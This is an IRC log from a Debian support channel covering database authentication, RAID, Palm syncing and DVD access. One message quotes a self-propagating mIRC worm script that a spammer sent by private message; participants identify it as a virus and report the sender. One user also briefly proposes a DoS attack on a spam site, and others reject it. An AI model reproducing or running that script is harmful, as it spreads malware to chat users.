| 06:52.59 | Coke | vyrus001: like I said, the administrative part alone is reason enough to prefer pgsql, not to mention SQL-compability issues and integrating with already existing authentication systems and the very cool Python and C bindings for server-side programming. |
| 06:53.21 | Coke | unless you need a sw cluster. |
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| 06:53.30 | maher | PerfDave: it could mean the server isn't running or the portforward is going to the wrong place |
| 06:53.33 | vyrus001 | Coke lol dude im not argueing but i just installed mysql and php admin and i only need this box to work for 3 days |
| 06:53.47 | vyrus001 | Coke he i just want to get this to kick over man :P |
| 06:53.49 | PerfDave | Coke, vyrus001: FWIW, I always found authentication in PostgreSQL to be much worse than MySQL, but the improvements in other places make it worth fighting with PostgreSQL ;) |
| 06:54.05 | Coke | PerfDave: are you INSANE? |
| 06:54.06 | Coke | :) |
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| 06:54.34 | PerfDave | Coke: Nope, I've got a certificate to prove it. pg_hba.conf is the single worst thing about PostgreSQL bar none. |
| 06:54.37 | Coke | PerfDave: how can saying "use whatever my OS uses" be worse than trying to work through dozens of parameters for the GRANT clause or manually try to handle the system tables? |
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| 06:55.21 | PerfDave | Coke: Because creating an OS user for every database user is a pain in the ass? |
| 06:55.36 | Coke | PerfDave: you can use kerberos principals |
| 06:55.48 | PerfDave | Coke: Yeah, because implementing Kerberos is fun. Not. |
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| 06:56.06 | Coke | PerfDave: thank god we already have two, good and free implementations! :) |
| 06:56.33 | PerfDave | Coke: Which are complete pains in the ass to configure ;) |
| 06:56.34 | peterS | he means implementation as in deployment |
| 06:56.57 | Coke | PerfDave: besides, you can use external authentication servers that do not require system users. |
| 06:57.16 | Coke | PerfDave: you can also make one system user that other system users can authenticate with. |
| 06:57.21 | PerfDave | Coke: I think you're really losing the argument here if you're claiming that implementing a Kerberos server is easier than using MySQL's authentication system. |
| 06:57.31 | Coke | PerfDave: never said such a thing. |
| 06:57.40 | PerfDave | Coke: Then you're making no sense ;) |
| 06:57.55 | Coke | PerfDave: aside from kerberos I've given two other very nice ways of authenticating |
| 06:57.55 | maher | PerfDave: once you can talk to pam, then you can talk to anything pam talks to... |
| 06:58.04 | Coke | exactly. |
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| 06:58.27 | frkat | everytime I reboot my debian box it trys to look for IDE hard disks, but it has never had ide hard disks just scsi, but it makes the bootup take forever, any ideas on how to make it skip ide detection? |
| 06:58.48 | Coke | frkat: are you using a custom or stock kernel? |
| 06:58.49 | PerfDave | maher: And again, that is a HUGE PAIN IN THE FUCKING ARSE compared to using MySQL's authentication system ;) |
| 06:58.58 | Coke | PerfDave: PAM is? say what? |
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| 06:59.14 | frkat | stock |
| 06:59.30 | peterS | Coke: pluggable authentication modules. what linux and solaris use to verify your password |
| 06:59.30 | PerfDave | Authentication is the only reason I still use MySQL for projects, when it's easier to just use MySQL than fight to get PostgreSQL into a reasonable statie. |
| 06:59.44 | maher | PerfDave: umm... ok |
| 06:59.51 | PerfDave | Although these days I tend to just use SQLite instead :) |
| 06:59.52 | peterS | Coke: oh, *you* weren't asking |
| 07:00.00 | Coke | peterS: :) |
| 07:00.54 | Coke | PerfDave: but for small projects, isn't easier just to tell pgsql that system user X may use do whatever he wishes with database Y instead of firing away GRANT-statements. |
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| 07:01.42 | PerfDave | Coke: No, it isn't. |
| 07:01.47 | Coke | PerfDave: actualy, nevermind. I just remembered that I don't care what people use. |
| 07:02.40 | Coke | PerfDave: and we will probably never agree on the subject anyway, you authentication masochist you! :) |
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| 07:03.26 | Coke | rafiks: just sent me a crazy PM with what looks like base64 encoded crap in a command pipe of some sort. Anybody else get this? |
| 07:03.34 | Coke | ah, rafiks sent me. |
| 07:04.36 | PerfDave | Coke: Yeah, I'll just hope and pray that some day Postgres will catch up in the one area it's behind MySQL :) |
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| 07:05.06 | PerfDave | Coke: I just did |
| 07:05.43 | Coke | PerfDave: you really twist my nipples, man. |
| 07:05.54 | Coke | well, what the heck is it? |
| 07:06.07 | moti | Debian$B$K$D$$$FF|K\8l$G<ALd$7$?$$$N$G$9$,!$F|K\8l$N(BDebianIRC$B$O$J$$$N$G$7$g$&$+!)(B |
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| 07:06.22 | Coke | doesn't look like anything that could run in a shell I know of. |
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| 07:06.48 | PerfDave | Coke: It's IRC commands |
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| 07:07.17 | PerfDave | Coke: on 1:text:*a*:#:{ .ignore $nick | .timer 0 120 .join #Sexeb | .msg $nick gus2 m b maging OPERATOR sa $chan ? copy/paste mo i2->7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R }gr |
| 07:07.32 | gcbirzan | How do I tell apt to get gziped Packages, and not bzipped ones? |
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| 07:07.49 | Coke | gcbirzan: why care? |
| 07:07.52 | PerfDave | :ops rafiks is spamming people with phishing PMs |
| 07:07.59 | gcbirzan | Because it's breaking with apt-proxy. |
| 07:08.02 | Coke | phishing? |
| 07:08.50 | Coke | wow, never heard of apt-proxy before. sounds neet. just can't figure out why it would care about bzip or gzip. |
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| 07:09.07 | rafiks | gcbirzan: why do you want gzipped ones? Bzipped packages are smaller...i think... |
| 07:09.11 | PerfDave | Coke: He's trying to get people to run that script without knowing what it does. Looks like a mIRC script which works as a virus. |
| 07:09.28 | nagual | gcbirzan: ? |
| 07:09.43 | PerfDave | !ops rafiks is spamming people with phishing PMs |
| 07:09.45 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: rafiks is spamming people with phishing PMs |
| 07:09.54 | nagual | rafiks is some kind of spambot |
| 07:09.54 | PerfDave | Bah, wrong bot symbol :) |
| 07:10.01 | nagual | PerfDave: arent you an op? |
| 07:10.02 | gcbirzan | I don't care about the speed. As it is, it just doesn't work for experimental main. |
| 07:10.07 | bob2 | what? |
| 07:10.08 | gcbirzan | It works for everything else... |
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| 07:10.16 | PerfDave | nagual: Nope |
| 07:10.17 | streuner_ | nah |
| 07:10.32 | nagual | bob2: is though iirc? |
| 07:10.40 | streuner_ | bob2: /j #testus |
| 07:10.45 | nagual | bob2: rafiks is a spamb***h |
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| 07:10.59 | bob2 | streuner_: ? |
| 07:11.16 | streuner_ | well, i would show you what s(he) spamed |
| 07:11.59 | nagual | well, i would have if he asked me to, but thats kind of coutnerproductive, dont you think? |
| 07:12.00 | Coke | bob2: couldn't you have given a better kick message? something to explain. I think rafiks was a real person. clueless, yes, bot no. |
| 07:12.10 | streuner_ | rafiks> gcbirzan: why do you want gzipped ones? Bzipped packages are smaller...i think... |
| 07:12.18 | streuner_ | doesn't sound like a bot |
| 07:13.05 | gcbirzan | The thing is, it only happens from _this_ machine. |
| 07:13.14 | bob2 | yes, I know |
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| 07:13.21 | bob2 | but it is spamming bizarro /msg shit |
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| 07:17.32 | bob2 | streuner: it spammed me |
| 07:17.37 | streuner | ok |
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| 07:17.52 | light_punch2 | how can i set 3 logon attempts for each users? if they try more that 3, system will lock them out. |
| 07:18.01 | cafuego | light_punch2: configure pam |
| 07:18.27 | light_punch2 | <PROTECTED> |
| 07:18.28 | light_punch2 | ? |
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| 07:18.36 | cafuego | !info libpam0g |
| 07:18.47 | dpkg | libpam0g: (Pluggable Authentication Modules library), section base, is required. Version: 0.76-23 (sid), Packaged size: 72 kB, Installed size: 164 kB |
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| 07:19.00 | cafuego | light_punch2: /lib/security/* /etc/pam.d/* |
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| 07:19.52 | maher | light_punch2: you will be locked out by the ssh brute force attacks... |
| 07:19.53 | light_punch2 | cafuego, is this a debian thing? my work place us HP UX |
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| 07:20.26 | cafuego | light_punch2: No, it's not specific to debian. most linux distros use it. Don't know about HP/UX |
| 07:20.32 | light_punch2 | maher, it's telnet at work for me. |
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| 07:21.00 | PerfDave | light_punch2: If you're trying to configure something on HPUX, why are you asking #debian about it? |
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| 07:21.13 | cafuego | maher: Of course we run sshd on another port |
| 07:21.15 | light_punch2 | some people told me to look at /etc/login.defs |
| 07:21.17 | peterS | yes, HP-UX uses pam, as I recall |
| 07:21.26 | peterS | at least, HP-UX 11. I think 10.20 did not |
| 07:21.45 | maher | cafuego: the next ssh brute force will bother to run nmap first... |
| 07:21.56 | buu | Hrm. I've got a palm zire 21 thingy. Anyone know if I can make it talk to debian? |
| 07:22.26 | PerfDave | There was a cute article on debian-administration about using iptables to temporarily block hosts who try to connect to you too rapidly. |
| 07:22.27 | cafuego | maher: That's what the rate limiter and scan detect is for. |
| 07:22.27 | bob2 | buu: apt-cache show jpilot |
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| 07:22.32 | light_punch2 | PerfDave, no, not configuring it. it's trying to find the similarity between HP UX and debian |
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| 07:22.37 | PerfDave | buu: I'm pretty sure that all the KDE PIM stuff can talk to palm. |
| 07:23.05 | PerfDave | buu: It's one of the reasons I was looking at a Palm as a PDA |
| 07:23.17 | maher | cafuego: anyone with remotely useful passwords shouldn't have to worry for the first 10 years anyway... |
| 07:23.20 | ke6isf | buu: jpilot is your friend. |
| 07:23.33 | buu | ke6isf: I shall examine it. |
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| 07:24.30 | cafuego | maher: the spam in the logs is just irritating |
| 07:24.37 | Flimzy | My roommate and I are about to set up a 250gb SATA and 200gb ATA drive in a software RAID, to be used as a file server, and to house some MythTV data. We have never used LVM before, but some MythTV documentation suggested using it. Generally speaking, will LVM be better than, the same as, or worse than software RAID? Or would our performance be best to use both somehow? |
| 07:24.47 | light_punch2 | internetwork is making it easiler for hacker to hack, don't even have to walk up to the machine =) |
| 07:24.48 | maher | cafuego: yes - particularly if you're paying for disc space on remote boxes... |
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| 07:25.00 | cafuego | Flimzy: raid what? |
| 07:25.01 | PerfDave | Flimzy: LVM and RAID are different things. |
| 07:25.08 | Flimzy | cafuego: ay hes... RAID 0 |
| 07:25.14 | bob2 | LVM is orthogonal to RAID |
| 07:25.15 | cafuego | Flimzy: DIE! |
| 07:25.16 | bob2 | also, software RAID is stupid |
| 07:25.18 | Flimzy | s/ay hes/ah yes/ |
| 07:25.24 | cafuego | Flimzy: Never use raid0. Ever. |
| 07:25.32 | bob2 | just mount to /media/big1/ /media/big2/ |
| 07:25.32 | cafuego | Flimzy: Just use LVM. |
| 07:25.33 | Flimzy | cafuego: tehe |
| 07:25.48 | cafuego | Flimzy: If a disk in an lvm dies, you still have the data on the other disk. |
| 07:25.50 | rmac | cafeugo why do you say never use raid 0 |
| 07:25.56 | Flimzy | Well LVM in striped mode is roughly the same thing, with larger stripes, right? |
| 07:25.59 | cafuego | rmac: See the previous line. |
| 07:26.03 | maher | cafuego: :) |
| 07:26.39 | maher | cafuego: when your first computer catches on fire you still have your second one... |
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| 07:27.07 | cafuego | maher: A disk is far more liklely to die than the computer is likely to catch fire. |
| 07:27.19 | Flimzy | cafuego: Does LVM with striping still preserve the data on each individual physical volume if another pv dies? |
| 07:27.25 | maher | cafuego: yes - but your point was similar to that logic... |
| 07:27.27 | peterS | yeah but *printers* are likely to catch on fire |
| 07:27.27 | rmac | cafeugo its not a big deal just rebuild and reinstall |
| 07:27.37 | cafuego | rmac: Time wastage |
| 07:27.54 | cafuego | Flimzy: That I don't know. mebbe ask someone who uses LVM. |
| 07:28.04 | Flimzy | cafuego: thanks |
| 07:28.13 | PerfDave | Rebuild, reinstall, restore from backup ;) |
| 07:28.24 | maher | Flimzy: i thought lvm put stuff at random across the disk set |
| 07:28.41 | liable | um, isnt striping putting bits on each disk, therefore, neither disk has a complete set of data? |
| 07:28.42 | rmac | cafeugo i want to install deb on another partition on my raid0.. the other partition is xp.. debian sees the 2 disks as 2 seperate disks instead of one.. have any idea why? |
| 07:28.59 | cafuego | rmac: You used shitty softwre chip raid? |
| 07:29.09 | Flimzy | maher: I don't think it's entirely random... or at least not necissarily so. |
| 07:29.18 | cafuego | rmac: ie: Highpoint or promise or nforce or silicon image? |
| 07:29.19 | liable | rmac: http://linux.yyz.us/sata/faq-sata-raid.html |
| 07:29.22 | rmac | cafeugo no hardware via k8t800pro raid |
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| 07:29.35 | cafuego | rmac: Software then |
| 07:29.43 | buu | Hrm. I'm playing with jpilot and trying to 'sync', but it says 'pi_bind error: /dev/pilot No such device or address |
| 07:29.48 | rmac | cafuego> no hardware |
| 07:29.59 | cafuego | rmac: if it was hardware raid Linux wouldn't see two disks. |
| 07:30.03 | buu | ' /dev/pilot is a link to /dev/ttyUSB0 |
| 07:30.04 | rmac | the partition is created by the raid manager on the chip |
| 07:30.24 | cafuego | rmac: Yes, but it's probably accessed via a driver in Windows. |
| 07:31.04 | rmac | cafuego yes i have to hit f6 and load a driver to get xp to see it-thats still hardware raid:) |
| 07:31.05 | cafuego | rmac: Which mobo specifically do you have? |
| 07:31.16 | rmac | asus a8v delux |
| 07:31.17 | rmac | e |
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| 07:32.00 | tobiasz | Hi |
| 07:32.00 | cafuego | rmac: No, that's software raid. Not hardware raid. |
| 07:32.11 | tobiasz | Did anything changed in pbuilder ? |
| 07:32.16 | cafuego | rmac: it might have a chip, but all the processing is done on the main CPU. |
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| 07:32.32 | tobiasz | I cant do pbuilder create |
| 07:32.32 | cafuego | rmac: Hence Linux wants to have nothing to do with it. |
| 07:32.33 | rmac | cafuego no all the processing is done on the northbridge.... |
| 07:33.16 | rmac | cafuego whats funny is linux sees the other raid chip on my board just fine.. it sees the array as one disk |
| 07:33.31 | cafuego | rmac: That would be the promise 20378, yes. |
| 07:33.39 | rmac | yes |
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| 07:34.02 | sampo_v2 | ias there any way to do a headless install of sarge? |
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| 07:34.15 | sampo_v2 | on a computer with no prior os |
| 07:34.34 | maher | sampo_v2: yes |
| 07:34.34 | rmac | cafuego so is the promise also soft raid since it too needs a driver |
| 07:34.42 | cafuego | rmac: Yes. |
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| 07:35.04 | sampo_v2 | maher: great. do you have a link or is it simple enough to explain? |
| 07:35.08 | rmac | cafuego so what is classified as hardware raid?? |
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| 07:35.13 | buu | Hrm. Is there a better channel I can ask palm type questions? |
| 07:35.14 | pif | hi, what is firefox's saved password file name ? |
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| 07:35.21 | pif | I need to restore a backup |
| 07:35.22 | cafuego | rmac: I expect the promise has a driver coz it's related to the 202[67]x controllers, for which drivers already existed. |
| 07:35.26 | peterS | rmac: fun page: http://linux.yyz.us/sata/faq-sata-raid.html |
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| 07:35.44 | peterS | rmac: the general sentiment applies to a lot of pre-sata motherboard raid chips too |
| 07:35.44 | cafuego | rmac: See that page that peterS keeps pasting? |
| 07:35.57 | maher | sampo_v2: you can use netboot or a serial console or put the hd in another machine |
| 07:35.58 | kneet | buu, some palms register on ttyUSB0 (mine included) - some on ttyUSB1 |
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| 07:36.15 | cafuego | rmac: Pretty much, cards that say "raid" and cost twice what your mobo costs and up. |
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| 07:36.23 | buu | kneet: Hrm. |
| 07:36.29 | sampo_v2 | maher: netboot would mean that i can telnet/ssh into the box to do the install? |
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| 07:36.43 | kneet | buu, I find both devices exist - but only one will answer |
| 07:36.45 | rmac | cafuego interesting fact... so what is the raid that you can create from within an os called? |
| 07:37.03 | cafuego | rmac: software raid. |
| 07:37.07 | buu | kneet: Er, how do I tell which one it is? |
| 07:37.18 | cafuego | rmac: Note that the KIND of software is unspecified. |
| 07:37.42 | maher | samiam: http://www.debian.org/releases/stable/i386/ch04s06.html.en |
| 07:37.45 | buu | kneet: I press hotsync on the computer and hotsync on the palm, but it just sits there. |
| 07:38.00 | peterS | rmac: technically, hardware raid vendors could supply a binary for your linux box that accesses the raid array config and lets you change it. this is just not done all that often |
| 07:38.05 | kneet | buu, 'pilot-xfer -p /dev/ttyUSB0 -l or |
| 07:38.07 | maher | cafuego: does cp in cron count? |
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| 07:38.18 | kneet | buu, minus the or |
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| 07:38.26 | cafuego | maher: yep, that's software. |
| 07:38.27 | buu | kneet: Ah |
| 07:38.29 | rmac | cafuego so clarify: the promise controller is or isint hard raid? |
| 07:38.31 | MikeM | test |
| 07:38.31 | kneet | buu, then try the same for ttyUSB1 |
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| 07:38.40 | buu | Hrm. PCsupport spam |
| 07:38.41 | rmac | linux sees it fine |
| 07:38.43 | dimir | Morning. |
| 07:38.49 | peterS | rmac: promise sells both kinds of raid. what chip? |
| 07:38.49 | cafuego | rmac: It's not. There just happens to be a driver in the kernel that can use it as raid. |
| 07:38.57 | oggv | is there any good gui for helping to encode CD into ogg ?? |
| 07:39.02 | kneet | buu, remember that the device will not work until you have pressed the sync button on the palm |
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| 07:39.06 | maher | oggv: i use abcde |
| 07:39.07 | peterS | !ops PCsupport spammer |
| 07:39.08 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: PCsupport spammer |
| 07:39.17 | oggv | maher: abcde is not gui |
| 07:39.18 | rmac | cafuego looks like ill have to dish out some $$ to get a true raid controller |
| 07:39.23 | buu | kneet: Where might I find pilot-xfer? |
| 07:39.30 | maher | oggv: its better than gui - it just does it |
| 07:39.34 | cafuego | rmac: Or just use kernel software raid1, which works fine. |
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| 07:39.44 | kneet | buu, package pilot-link |
| 07:39.44 | oggv | maher: yes yes I know |
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| 07:40.05 | jeff484 | hey guys, I'm trying to compile gaim 1.4.0 but it's not working. It keeps telling me I don't have a GLib version > 2.0.0 but I do. I even made a new GLib install and it still said the same thing. |
| 07:40.05 | sampo_v2 | maher: that sounds a bit complicated. is there a install CD i could just telnet into? i have access to the box alright, i just don't have a spare monitor lying around.. |
| 07:40.18 | oggv | maher: another question, do you know of any application to grab the music from a DVD keeping scene separation? |
| 07:40.37 | maher | sampo_v2: unplug a monitor from somewhere else and drag it over - you only need to get base +ssh on |
| 07:40.45 | PerfDave | !wayc jeff484 |
| 07:40.46 | dpkg | jeff484: Why are you compiling instead of using apt-get? |
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| 07:40.49 | mdh | jeff484: have you installed the -dev package also? |
| 07:40.49 | sampo_v2 | maher: that's true |
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| 07:40.53 | sampo_v2 | maher: i guess that's simpler |
| 07:40.54 | qwertz_ | Hi! Tried to setup a debian box as gateway (DSL modem - debian - switch - clients) connection was established but very slow (average ping of 800-1000ms, peaks of > 3000ms, in normal we have pings between 100-200ms), MTU was set to 1200 - any thoughts how to improve the speed or where to look at? |
| 07:40.57 | buu | kneet: Hrm. |
| 07:41.07 | Coke | oggv: you want to rip music from the VS or copy the AS? |
| 07:41.08 | maher | oggv: not offhand |
| 07:41.17 | maher | !ops PCsupport spam |
| 07:41.18 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: PCsupport spam |
| 07:41.24 | rmac | cafuego thanx for the help |
| 07:41.38 | oggv | I would like to rip an opera I have in DVD to put it into my iRiver ogg player |
| 07:41.39 | jeff484 | PerfDave, I'm compiling because apt-get isn't gaim 1.4.0, mdh, I thought so but I'll double check. |
| 07:41.54 | sanxiyn | jeff484: Make sure you have libglib2.0-dev. |
| 07:41.57 | Coke | oggv: ok. is it an audio DVD? |
| 07:42.05 | PerfDave | jeff484: Which version of Debian are you running? |
| 07:42.18 | jeff484 | Sarge |
| 07:42.19 | buu | kneet: I'm getting "port not connected, sleeping for 2 seconds.." |
| 07:42.20 | Coke | oggv: if you mount a DVD you will note that it has two directores, VIDEO_TS and AUDIO_TS. |
| 07:42.21 | oggv | Coke: well, it is a DVD with a movie of the opera, like any movie |
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| 07:42.40 | oggv | yes Coke, it has both directories |
| 07:42.42 | peterS | oggv: yeah, he was asking if it was a video DVD or an audio-only DVD. such things exist. |
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| 07:42.44 | moreon | PCSupport is a privmsg spammer, just banned him from #gentoo. Thought you guys should know :) |
| 07:42.46 | Coke | oggv: ok. then the music might be located in VIDEO_TS. Inside that directory there are .VOB-files |
| 07:42.46 | sanxiyn | !info gaim |
| 07:42.49 | dpkg | gaim: (multi-protocol instant messaging client), section net, is optional. Version: 1:1.4.0-3 (sid), Packaged size: 824 kB, Installed size: 2024 kB |
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| 07:42.51 | Coke | oggv: oh, any files in AUDIO_TS? |
| 07:42.58 | PerfDave | moreon: We're aware |
| 07:43.04 | moreon | ok. |
| 07:43.08 | PerfDave | jeff484: /msg dpkg backport |
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| 07:43.11 | oggv | Coke: oh wait, I must check wait |
| 07:43.11 | PerfDave | moreon: Thanks |
| 07:43.12 | buu | Holy shit. Someone kline PCsupport |
| 07:43.16 | kneet | buu, on both USB0 and USB1 ? |
| 07:43.28 | mdh | /ignore -replies PCsupport ALL |
| 07:43.36 | sanxiyn | I found http://groups-beta.google.com/group/netscape.public.mozilla.l10n/browse_thread/thread/63ae018a97b49ba1/9dc62a096bc565ac interesting. |
| 07:43.42 | jeff484 | Okay, installing libglib2.0-dev changed the error. Now it finds GLIB but not GTK+. I guess I don't have the right for that either. |
| 07:43.43 | buu | kneet: and usb3 and 4 |
| 07:43.47 | HelmutG | hi. is there a known problem with ftp2.de.debian.org or why were there no changes in the past week? |
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| 07:43.56 | sanxiyn | jeff484: Just apt-get build-dep gaim. |
| 07:43.59 | kneet | buu, lsmod | grep visor - show anything? |
| 07:44.03 | coywolf | how to extract a single file from a tarball? |
| 07:44.03 | oggv | by the way, there is a bot PCsupport that keeps sending annoying messages |
| 07:44.10 | sanxiyn | jeff484: Should install all packages you need to build gaim. |
| 07:44.11 | PerfDave | jeff484: FFS, just use the Debian packages, and backport it. |
| 07:44.12 | peterS | oggv: yeah, we've tried to tell the ops twice now |
| 07:44.16 | mdh | oggv: we're all well aware of that |
| 07:44.17 | oggv | Coke: I am checking |
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| 07:44.35 | mdh | oggv: /ignore -replies PCsupport ALL |
| 07:44.37 | coywolf | !ops PCsupport Hey there FREE PC Support available at XXX Register and tell your friends! |
| 07:44.38 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: PCsupport Hey there FREE PC Support available at XXX Register and tell your friends! |
| 07:44.38 | peterS | bob2: it seems to trigger on message send |
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| 07:44.48 | bob2 | coywolf: enough |
| 07:44.58 | bob2 | peterS: eh? |
| 07:45.00 | Coke | oggv: yeah, the audio you are looking for might be in AUDIO_TS, or you might have to demux the mpeg streams in VIDEO_TS. |
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| 07:45.07 | bob2 | there we go |
| 07:45.11 | peterS | thanks, bob2 |
| 07:45.19 | Coke | bob2: can you ban him from the network? |
| 07:45.32 | buu | kneet: Yep, 3 things |
| 07:45.32 | peterS | Coke: bob2 doesn't have that kind of power. you can ask in #freenode if someone hasn't already |
| 07:45.36 | bob2 | Coke: no |
| 07:45.40 | bob2 | already asked |
| 07:45.40 | dimir | great :-) |
| 07:45.42 | streuner | Coke: LoRez or RichiH |
| 07:45.48 | oggv | Coke: my DVD cannot be mounted, it is mounted as a CDROM, what module should I modprobe? |
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| 07:46.11 | Coke | oggv: first you say it can't be mounted then you say IT IS mounted, make up your mind please? |
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| 07:46.29 | kneet | buu, Hmm. I just did the following: 1) Press the hotsync button on the palm then 2) pilot-xfer -p /dev/ttyUSB0 -l and it gave me a list of the files on the palm |
| 07:46.33 | mdh | just crapflood the bot off the network |
| 07:46.47 | oggv | Coke: it IS mounted as a CDROM and it is not well recognized, that is my question |
| 07:46.51 | xiptos | Hi! Does anyone knows why there is no apt-get update since last friday? (just curious...) |
| 07:46.53 | Coke | We should DoS attack www.blazingpcsupport.com just to show them that fucking with freenode dwellers is a bad move. |
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| 07:47.02 | peterS | Coke: or not |
| 07:47.06 | PerfDave | Coke: No, we shouldn't, because that's moronic. |
| 07:47.09 | Coke | oggv: if it's mounted it's mounted. |
| 07:47.13 | buu | kneet: When I press the hotsync first I get "listening to port, please press hotsync first" |
| 07:47.15 | bob2 | xiptos: the primary ftp server was in transit to new hosting |
| 07:47.16 | mdh | Coke: they could be a victim of the bot |
| 07:47.30 | oggv | Coke: well, then it is mounted but I cannot enter into its content |
| 07:47.32 | peterS | nietzsche had that one right |
| 07:47.33 | xiptos | bob2: ok. thanks! :) |
| 07:47.40 | buu | kneet: s/first/now |
| 07:47.50 | Coke | oggv: does your DVD player work normally? |
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| 07:47.59 | mdh | Coke: like if I had an onjoin spam that said "awesome OS at www.microsoft.com" ;) |
| 07:48.01 | oggv | Coke: I don't usually play DVD :) |
| 07:48.03 | kneet | buu, odd. Same for both USB0 and USB1 ? |
| 07:48.06 | buu | kneet: Yep. |
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| 07:48.19 | buu | If I don't press hotsync first I get the above error about not connected ports. |
| 07:48.30 | Coke | peterS PerfDave mdh: chill; as if I would have the strength to even start a ping flood |
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| 07:49.13 | kneet | buu, take a look in the logs (/var/log/messages IIRC) - or tail -f /var/log/messages when you press the hotsync button - does it see the device? |
| 07:49.22 | oggv | Coke: I never play DVD in my laptop debian, because it overheats |
| 07:49.44 | liable | why would a dvd make it overheat? |
| 07:50.00 | liable | an avi maybe.. |
| 07:50.02 | buu | kneet: Yep. Jul 27 02:41:47 buubox kernel: visor ttyUSB1: Handspring Visor / Palm OS converter now disconnected from ttyUSB1 |
| 07:50.03 | oggv | if I mount a DVD, what file system should I specify? |
| 07:50.07 | mdh | liable: inadequate cooling |
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| 07:50.38 | buu | kneet: When I'm watcing and press the button, I get "andspring Visor / Palm OS converter now attached to ttyUSB1" |
| 07:51.00 | kneet | Only ttyUSB1? Mine shows it connecting to both 0 and 1 in the log |
| 07:51.14 | buu | kneet: Yeah both. |
| 07:51.44 | buu | I was trying to avoid pasting too much log informationm. |
| 07:52.15 | mdh | buu: have you got hotsync on the visor conecting at the right portspeed ? |
| 07:52.38 | buu | mdh: Um. I have no idea. |
| 07:52.40 | mdh | buu: I just used to set mine to the max possible, then export PILOTRATE accordingly |
| 07:52.44 | oggv | liable: well, my video card causes a lot of processor work and it overheats |
| 07:52.44 | buu | How do I set that? |
| 07:53.03 | mdh | buu: in the prefs of the hotsync app on the visor |
| 07:53.21 | mdh | you get to tell it what method to use to hotsync, all the details associated with that, etc |
| 07:53.35 | buu | mdh: Ah. I found it. 115,200. |
| 07:53.51 | buu | flow ctl: Automatic. Now I just need to set PILOTRATE to that? |
| 07:53.58 | Coke | oggv: wait |
| 07:54.17 | Coke | oggv: it's called UDF |
| 07:54.32 | oggv | Coke: thanks |
| 07:54.34 | mdh | buu: I'm pretty sure that's the right variable. read the doco. (my visor was stolen a couple of years ago so I can't recall exactly) |
| 07:54.55 | buu | Ahah! |
| 07:54.58 | buu | It beeped! |
| 07:55.09 | buu | And worked! Happy days! frajous day, etc. |
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| 07:55.48 | kneet | buu, now all you need to do is decide - kpilot, jpilot, gnome-pilot, pilot-manager :) |
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| 07:56.15 | buu | kneet: Heh. Yeah, I'll take the one that doesn't involve graphics. And speaking of graphics, is there any good way to get like, books on here? |
| 07:56.26 | mdh | buu: the awesome thing with the visors is that because they use USB to sync, you can set the serial rate as high as it will go. with 3com palms you were stuck with like 38,000 |
| 07:56.59 | buu | mdh: Yay! or something |
| 07:57.09 | kneet | buu, no graphics? Then I'd stick with pilot-xfer itself :) |
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| 07:57.15 | mdh | buu: books on your visor? install a palm doc reader |
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| 07:58.21 | mdh | there was a www.freewarepalm.org or somesuch that had links to free (usually GPL'd) software for the palm, a lot of it was better than the $$$ on handango et al |
| 07:58.51 | oggv | Coke: oh come on, my DVD is recognized by hotplug as an UDF but I cannot access its contents |
| 07:59.02 | oggv | Coke: and I have dvdcss installed |
| 07:59.04 | ke6isf | mdh: That goes to a bogus site. |
| 07:59.09 | mdh | buu: and you can in debian install the gcc tools to build palm apps :) |
| 07:59.12 | Coke | oggv: what kernel are you using? |
| 07:59.15 | ke6isf | mdh: You sure yo're not thinking of palmgear? |
| 07:59.22 | oggv | Coke: I use 2.6.12 |
| 07:59.27 | mdh | ke6isf: try .com & .net or palmfreeware |
| 07:59.39 | Coke | oggv: would you please specify whether it is a custom or stock |
| 07:59.43 | PerfDave | oggv: Is the drive set to the correct region for the disk? |
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| 08:00.01 | ke6isf | mdh: GIYF. =^^= http://www.freewarepalm.com |
| 08:00.22 | oggv | custom or stock? sorry? It's zauberflöte from Deutsche Gramophon, original |
| 08:00.52 | liable | eh? kernel? |
| 08:00.57 | mdh | ke6isf: that's the one! |
| 08:01.04 | miz | Hmm... I have a tiny problem... I can't get an x session with regular user accounts... .xsession-errors writes 'open: Permission denied' and nothing shows up on xorg log... Anyone could hint for a reason? |
| 08:01.07 | ke6isf | mdh: Riddled with ads, but I'll live. |
| 08:01.20 | oggv | I read those messages: |
| 08:01.30 | oggv | libdvdread: Could not open /dev/dvd with libdvdcss. and libdvdread: Can't open /dev/dvd for reading |
| 08:01.37 | Coke | oggv: custom as in you have tinkered with it or just a regular Debian kernel? |
| 08:01.47 | buu | mdh: Sexy! |
| 08:01.48 | Coke | oggv: that has nothing to do with the filesystem |
| 08:01.53 | oggv | Coke: regular debian kernel from unstable |
| 08:02.03 | Coke | oggv: please ls -l /dev/dvd |
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| 08:02.25 | mdh | I'm thinking instead of a laptop I'll get a desktop and a tungsten T5 |
| 08:02.27 | oggv | Coke: /dev/dvd is here |
| 08:02.39 | liable | oggv: sid? remember vaguely of a bug with one of those dvd libs. |
| 08:02.53 | oggv | lrwxrwxrwx 1 root root 3 2005-07-27 11:30 /dev/dvd -> hdc |
| 08:03.14 | oggv | liable: I am using the latest stable + kernel from unstable |
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| 08:04.31 | mdh | ke6isf, buu: I highly recommend handyshopper, cspotrun, strip, filez and x-master |
| 08:04.58 | nct | Hello |
| 08:05.09 | oggv | liable: do you mean I should get dvd libs from unstable? |
| 08:05.20 | liable | oggv: shit no. |
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| 08:05.36 | oggv | liable: ok, then how do I solve this buggy problem you say? |
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| 08:06.20 | oggv | I suppose the problem comes from encription, something that has to do with dvdcss |
| 08:06.21 | liable | oggv: just a vague recollection of a bug report I read not long ago. Probably not relevant if you are running sarge. |
| 08:06.22 | mdh | ke6isf, buu: oh, and apt-get install pose |
| 08:06.33 | Soof | irc://irc.meradin.nl/alleslinux |
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| 08:06.46 | dbernar1 | is it weird that I own /media/usbdisk? |
| 08:07.12 | oggv | dbernar1: /media is managed by hotplug, just don't worry |
